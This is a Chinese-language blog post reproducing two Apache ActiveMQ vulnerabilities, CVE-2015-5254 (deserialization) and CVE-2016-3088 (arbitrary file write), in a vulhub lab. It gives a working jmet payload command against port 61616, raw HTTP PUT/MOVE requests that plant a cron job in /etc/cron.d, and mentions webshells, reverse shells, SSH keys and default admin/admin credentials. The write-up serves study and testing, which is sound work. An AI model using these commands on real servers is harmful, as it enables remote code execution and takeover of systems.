Activemq

ActiveMQ

简介:ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中 间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

activemq又称消息队列,即message queue,常用于电商平台的构建中。队列的主要应用于异步处理,应用解耦,流量削锋和消息通讯四个场景中。

ActiveMQ占用两个端口:
61616为工作端口,消息在这个端口进行传输
8161为web console端口

默认账号/密码:admin/admin—>未授权访问

ActiveMQ Deserialization Vulnerability (CVE-2015-5254)

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞利用过程如下:
1.构造(可以使用ysoserial)可执行命令的序列化对象
2.作为一个消息,发送给目标61616端口
3.访问web管理页面,读取消息,触发漏洞

首先下载工具jmet:

git clone https://github.com/matthiaskaiser/jmet.git
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

发送payload:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

进入http://your-ip:8161/admin/browse.jsp?JMSDestination=event点击相应消息

进入容器docker-compose exec activemq bash,可见创建成功

在这里插入图片描述

反弹shell:

在这里插入图片描述
点击消息,结果如下
在这里插入图片描述
tips:
1.其中base64 -d 从标准输入中读取已经进行base64编码的内容,解码输出。
2.管道符将前一个命令的输出作为后一个命令的输入。

reference:
https://www.zhihu.com/question/20004877 (分布式/集群概念)
https://www.zhihu.com/question/36048657 (activemq的应用)
https://blog.csdn.net/qinweili751/article/details/80620104 (activemq的应用)
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md
https://blog.csdn.net/forestcell/article/details/54100073

ActiveMQ Arbitrary File Write Vulnerability (CVE-2016-3088)

activemq下有三个目录admin(解析jsp),api(解析jsp),fileserver(不解析jsp),其中admin和api需要登录,fileserver无需登录,fileserver是一个restful接口,支持PUT/DELETE/MOVE方法对文件进行操作
漏洞发生在fileserver目录下:
在5.12.x之前的版本存在任意文件写入漏洞。
在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用。(可在conf/jetty.xml中开启)
在5.14.0版本以后,彻底删除了fileserver应用。

利用方式
1.写入webshell
2.写入cron反弹shell或者写入ssh公钥
3.写入jar或jetty.xml等库和配置文件

1.写入webshell,这里我使用curl发送请求进行写入
http://your-ip:8161/admin/test/systemProperties.jsp查看绝对路径
在这里插入图片描述

这里讲jsp代码用put请求写入fileserver下的文件中(不解析),再用move请求移到api目录下,如下图可解析在这里插入图片描述

2.写入cron反弹shell
做这个的时候还是遇到挺多问题的,一开始用curl写入的时候发现无法进行换行,之后改用使用burp写入,仍发现在shell命令后会多出一个^M,于是在命令后加了一个#来注释掉^M才成功反弹了shell。

tips:在apache解析漏洞复现时突然想到直接在burp中hex下直接添加一个\x0A就行。

PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

SHELL=/bin/bash
*/1 * * * * root payload #
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

查看cat /var/log/syslog,可以看到cron成功执行
在这里插入图片描述
反弹shell成功
在这里插入图片描述

写ssh公钥 ssh-keygen -t rsa

reference:
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
https://paper.seebug.org/346/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值